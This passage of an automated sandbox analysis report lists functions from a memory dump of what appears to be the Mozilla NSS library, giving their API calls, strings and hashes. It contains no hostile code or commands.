free.MOZGLUE(?,?,?,?,6C67AAD4,?,?,?,?,?,?,?,?,00000000,?,6C6780C1), ref: 6C675DFA
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6C67AAD4,?,?,?,?,?,?,?,?,00000000,?,6C6780C1), ref: 6C675E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6C67AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C675E3E
free.MOZGLUE(?,?,?,?,?,?,6C67AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C675E47
free.MOZGLUE(?,?,?,?,6C67AAD4,?,?,?,?,?,?,?,?,00000000,?,6C6780C1), ref: 6C675E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6C67AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6C675E78
free.MOZGLUE(?,?,?,?,?,?,?,6C67AAD4), ref: 6C675EB9
free.MOZGLUE(?,?,?,?,?,?,?,6C67AAD4), ref: 6C675EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6C67AAD4), ref: 6C675F3D
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C67AAD4), ref: 6C675F4B

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: 3bd7bee47ee6aa5f4809eec4b0d8eac4313a186dcd96dc2bde18251c195b63e7
Instruction ID: 0a27a379f386a7903f4ec2e5e6e0cc457c4d0cc6be04dd8bba4dcac0ed120077
Opcode Fuzzy Hash: 3bd7bee47ee6aa5f4809eec4b0d8eac4313a186dcd96dc2bde18251c195b63e7
Instruction Fuzzy Hash: 797190B4A00B019FD720CF24D884A92B7F5FF89309F148A69D85E87711EB31F955CBA5

Function 6C5F8DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6C5F8E22
EnterCriticalSection.KERNEL32(?), ref: 6C5F8E36
memset.VCRUNTIME140(?,00000000,?), ref: 6C5F8E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6C5F8E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C5F8E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5F8EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6C5F8EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C5F8EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6C5F8F00
free.MOZGLUE(?), ref: 6C5F8F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6C5F8F39
memset.VCRUNTIME140(?,00000000,?), ref: 6C5F8F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6C5F8F5B
PR_Unlock.NSS3(?), ref: 6C5F8F72
PR_Unlock.NSS3(?), ref: 6C5F8F82

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: 6b5e734e1e385879c3944cccb8d893ba2cc28020a0a4d8052536b8776ad7d519
Instruction ID: d49235a2039b4b1d1ea34e8db95822852d156f9f36884421332f1817ec62d799
Opcode Fuzzy Hash: 6b5e734e1e385879c3944cccb8d893ba2cc28020a0a4d8052536b8776ad7d519
Instruction Fuzzy Hash: D0513B72D002119FE710DF69CC8496EBBB9EF46714B144529EC289B700E731ED468BE6

Function 6C6F0FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6C6F1000

Part of subcall function 6C6A9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C5D1A48), ref: 6C6A9BB3
Part of subcall function 6C6A9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C5D1A48), ref: 6C6A9BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C6F1016

Part of subcall function 6C68C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C68C2BF

PR_Unlock.NSS3(?), ref: 6C6F1021

Part of subcall function 6C68DD70: TlsGetValue.KERNEL32 ref: 6C68DD8C
Part of subcall function 6C68DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C68DDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C6F1046
PR_Unlock.NSS3(?), ref: 6C6F106B
PR_Lock.NSS3 ref: 6C6F1079
PR_Unlock.NSS3 ref: 6C6F1096
free.MOZGLUE(?), ref: 6C6F10A7
free.MOZGLUE(?), ref: 6C6F10B4
PR_DestroyCondVar.NSS3(?), ref: 6C6F10BF
PR_DestroyCondVar.NSS3(?), ref: 6C6F10CA
PR_DestroyCondVar.NSS3(?), ref: 6C6F10D5
PR_DestroyCondVar.NSS3(?), ref: 6C6F10E0
PR_DestroyLock.NSS3(?), ref: 6C6F10EB
free.MOZGLUE(?), ref: 6C6F1105

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: 535477de1184f6f759c9fc2fe8b6d410127e6d6d4dd0e59c1656d3c4349e7a42
Instruction ID: 8850a14820a44cad6c965bb4f65f36d4a3cfa815b225a7d09e3af3fa3efc32a9
Opcode Fuzzy Hash: 535477de1184f6f759c9fc2fe8b6d410127e6d6d4dd0e59c1656d3c4349e7a42
Instruction Fuzzy Hash: AE3176F5900501ABD701AF14EC42A45BB72BF42359B184235E80912F61EB72FD79EBDA

Function 6C56DC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C56DD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6C56DD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C56DE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6C56DEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C56DECD

Strings

%s at line %d of [%.10s], xrefs: 6C56DF7C, 6C56DFEC
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C56DF6D, 6C56DFCC, 6C56DFDD
database corruption, xrefs: 6C56DF77, 6C56DFE7

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: 6a4f0fca889d985727cb4524045d376c4ebfca0dfa27e6f740898a6218e186af
Instruction ID: ab1440acd1a77a656f07c2b8150092095ccb97bf8330646915ebfaac6dc1e9ec
Opcode Fuzzy Hash: 6a4f0fca889d985727cb4524045d376c4ebfca0dfa27e6f740898a6218e186af
Instruction Fuzzy Hash: 81A1D6716042059FC710DF2ACC80A6BB7F5AF85308F298D6DE8898BF61E774E945CB91

Function 6C62EDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6C62EE0B

Part of subcall function 6C640BE0: malloc.MOZGLUE(6C638D2D,?,00000000,?), ref: 6C640BF8
Part of subcall function 6C640BE0: TlsGetValue.KERNEL32(6C638D2D,?,00000000,?), ref: 6C640C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C62EEE1

Part of subcall function 6C621D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6C621D7E
Part of subcall function 6C621D50: EnterCriticalSection.KERNEL32(?), ref: 6C621D8E
Part of subcall function 6C621D50: PR_Unlock.NSS3(?), ref: 6C621DD3

TlsGetValue.KERNEL32 ref: 6C62EE51
EnterCriticalSection.KERNEL32(?), ref: 6C62EE65
PR_Unlock.NSS3(?), ref: 6C62EEA2
free.MOZGLUE(?), ref: 6C62EEBB
PR_SetError.NSS3(00000000,00000000), ref: 6C62EED0
PR_Unlock.NSS3(?), ref: 6C62EF48
free.MOZGLUE(?), ref: 6C62EF68
PR_SetError.NSS3(00000000,00000000), ref: 6C62EF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6C62EFA4
free.MOZGLUE(?), ref: 6C62EFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C62F055
free.MOZGLUE(?), ref: 6C62F060

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 44b138e1973b3f8cb5816840344a4b034e49cd4ddb7837d7841d16220b0a6425
Instruction ID: 74a709dee89dfd645cc42c8f134e10d3f0f139951a5b355675c675f91e0c2f67
Opcode Fuzzy Hash: 44b138e1973b3f8cb5816840344a4b034e49cd4ddb7837d7841d16220b0a6425
Instruction Fuzzy Hash: B7819FB1A00219ABDF00DFA5EC85ADE7BB5BF49319F044034E909A3751E735E924CBA9

Function 6C5F4CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6C5F4D80
PORT_Alloc_Util.NSS3(00000000), ref: 6C5F4D95
PORT_NewArena_Util.NSS3(00000800), ref: 6C5F4DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C5F4E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C5F4E43
PORT_NewArena_Util.NSS3(00000800), ref: 6C5F4E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6C5F4E85
DER_Encode_Util.NSS3(?,?,6C7405A4,00000000), ref: 6C5F4EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6C5F4F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6C5F4F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C5F4F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C5F4F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C5F4F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C5F4FC8

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 00ff7e0107633f1039cceae43f4c9d575bf445834f737edb866b2bb4d6ca1afa
Instruction ID: 76d066657e05fe37d632b31b0baee91eb60372cf9c7212ab2190fb00dad3bb1e
Opcode Fuzzy Hash: 00ff7e0107633f1039cceae43f4c9d575bf445834f737edb866b2bb4d6ca1afa
Instruction Fuzzy Hash: 3B817C71908301AFE705CF28DD80B5AB7E4AB85358F148929F96CDB741E731EA06CF96

Function 6C635C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6C635C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6C635CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6C635CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6C635D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6C635D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C635D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C635E18
TlsGetValue.KERNEL32 ref: 6C635E5E
EnterCriticalSection.KERNEL32(?), ref: 6C635E72
PR_Unlock.NSS3(?), ref: 6C635E8B

Part of subcall function 6C62F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C62F854
Part of subcall function 6C62F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C62F868
Part of subcall function 6C62F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C62F882
Part of subcall function 6C62F820: free.MOZGLUE(04C483FF,?,?), ref: 6C62F889
Part of subcall function 6C62F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C62F8A4
Part of subcall function 6C62F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C62F8AB
Part of subcall function 6C62F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C62F8C9
Part of subcall function 6C62F820: free.MOZGLUE(280F10EC,?,?), ref: 6C62F8D0

Strings

d, xrefs: 6C635C36
tokens=[0x%x=<%s>], xrefs: 6C635D3D

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: c1c839e7b79a947eac57d50d3ebc2ba2b2bd6d2bdbd1dad18d0085d022168608
Instruction ID: 8ce3c63354458ae963ed42a51bb70c4d7530cbd28a36877ec385f7f7e93e19d2
Opcode Fuzzy Hash: c1c839e7b79a947eac57d50d3ebc2ba2b2bd6d2bdbd1dad18d0085d022168608
Instruction Fuzzy Hash: 5671F4F0A041219BEB01AF24DC417AA7275AF8531DF147036DC0D9BB82EB36E915C79E

Function 6C628F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6C629582), ref: 6C628F5B

Part of subcall function 6C63BE30: SECOID_FindOID_Util.NSS3(6C5F311B,00000000,?,6C5F311B,?), ref: 6C63BE44

PORT_NewArena_Util.NSS3(00000800), ref: 6C628F6A

Part of subcall function 6C640FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C5E87ED,00000800,6C5DEF74,00000000), ref: 6C641000
Part of subcall function 6C640FF0: PR_NewLock.NSS3(?,00000800,6C5DEF74,00000000), ref: 6C641016
Part of subcall function 6C640FF0: PL_InitArenaPool.NSS3(00000000,security,6C5E87ED,00000008,?,00000800,6C5DEF74,00000000), ref: 6C64102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C628FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6C628FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6C70D820,6C629576), ref: 6C628FF9
DER_GetInteger_Util.NSS3(?), ref: 6C62901D
PORT_ZAlloc_Util.NSS3(?), ref: 6C62903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C629062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6C6290A2
PORT_ZAlloc_Util.NSS3(?), ref: 6C6290CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6C6290F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C62912D
free.MOZGLUE(00000000), ref: 6C629136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C629145

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: abcd4cc5810830810ddaf83df35595fb171bdc3b990da70f6409456de33e6d44
Instruction ID: 8b42bad117c4594c06bcf69bdb4c23592aec26b37fb9da3bcc67d98aa42042cb
Opcode Fuzzy Hash: abcd4cc5810830810ddaf83df35595fb171bdc3b990da70f6409456de33e6d44
Instruction Fuzzy Hash: BF51F2B2A043009BE710CF29DC40B9BB7E8AF99358F048529ED58C7741E735E949CF9A

Function 6C5DAF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C5DAF47

Part of subcall function 6C6A9090: TlsGetValue.KERNEL32 ref: 6C6A90AB
Part of subcall function 6C6A9090: TlsGetValue.KERNEL32 ref: 6C6A90C9
Part of subcall function 6C6A9090: EnterCriticalSection.KERNEL32 ref: 6C6A90E5
Part of subcall function 6C6A9090: TlsGetValue.KERNEL32 ref: 6C6A9116
Part of subcall function 6C6A9090: LeaveCriticalSection.KERNEL32 ref: 6C6A913F

FreeLibrary.KERNEL32(?), ref: 6C5DAF6D
free.MOZGLUE(?), ref: 6C5DAFA4
free.MOZGLUE(?), ref: 6C5DAFAA
PR_ExitMonitor.NSS3 ref: 6C5DAFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6C5DAFF5
PR_ExitMonitor.NSS3 ref: 6C5DB005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C5DB014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6C5DB028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C5DB03C

Strings

Unloaded library %s, xrefs: 6C5DB023
%s decr => %d, xrefs: 6C5DAFF0

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: b3e06388b7dd06a35df7972005faa62f24f58566e2759371f5240f7a328d59b3
Instruction ID: 3e32a5ca3d7a0da00129a4ab4a1f9bf4a39ef16075c00af068e1366708b82341
Opcode Fuzzy Hash: b3e06388b7dd06a35df7972005faa62f24f58566e2759371f5240f7a328d59b3
Instruction Fuzzy Hash: 7F310AB9605212ABD701EE68DC40A06B775EB4531DB1A8275EC0597A00F732F824C7EB

Function 6C626C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C62781D,00000000,6C61BE2C,?,6C626B1D,?,?,?,?,00000000,00000000,6C62781D), ref: 6C626C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C62781D,?,6C61BE2C,?), ref: 6C626C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C62781D), ref: 6C626C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C626C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C626C96

Part of subcall function 6C5D1240: TlsGetValue.KERNEL32(00000040,?,6C5D116C,NSPR_LOG_MODULES), ref: 6C5D1267
Part of subcall function 6C5D1240: EnterCriticalSection.KERNEL32(?,?,?,6C5D116C,NSPR_LOG_MODULES), ref: 6C5D127C
Part of subcall function 6C5D1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C5D116C,NSPR_LOG_MODULES), ref: 6C5D1291
Part of subcall function 6C5D1240: PR_Unlock.NSS3(?,?,?,?,6C5D116C,NSPR_LOG_MODULES), ref: 6C5D12A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C626CAA

Strings

extern:, xrefs: 6C626C7E
dbm, xrefs: 6C626CA4
rdb:, xrefs: 6C626C69
sql:, xrefs: 6C626C52
dbm:, xrefs: 6C626C3A
NSS_DEFAULT_DB_TYPE, xrefs: 6C626C91

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: 18459ce5b0f49c99f291981c7ec09bb59a9a20616ab153f5a3cacccebb8f972e
Instruction ID: 114d5abba08d2bfa7cdd706acc4019fac812fc20c42ef7800f5a50c57c0fad67
Opcode Fuzzy Hash: 18459ce5b0f49c99f291981c7ec09bb59a9a20616ab153f5a3cacccebb8f972e
Instruction Fuzzy Hash: D501F2B174A31167E71037BA9E4AF22250D9F4135BF140231FE08E0AC1EA9AE71485AD

Function 6C634E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6C5F78F8), ref: 6C634E6D

Part of subcall function 6C5D09E0: TlsGetValue.KERNEL32(00000000,?,?,?,6C5D06A2,00000000,?), ref: 6C5D09F8
Part of subcall function 6C5D09E0: malloc.MOZGLUE(0000001F), ref: 6C5D0A18
Part of subcall function 6C5D09E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6C5D0A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6C5F78F8), ref: 6C634ED9

Part of subcall function 6C625920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6C627703,?,00000000,00000000), ref: 6C625942
Part of subcall function 6C625920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C627703), ref: 6C625954
Part of subcall function 6C625920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C62596A
Part of subcall function 6C625920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C625984
Part of subcall function 6C625920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6C625999
Part of subcall function 6C625920: free.MOZGLUE(00000000), ref: 6C6259BA
Part of subcall function 6C625920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6C6259D3
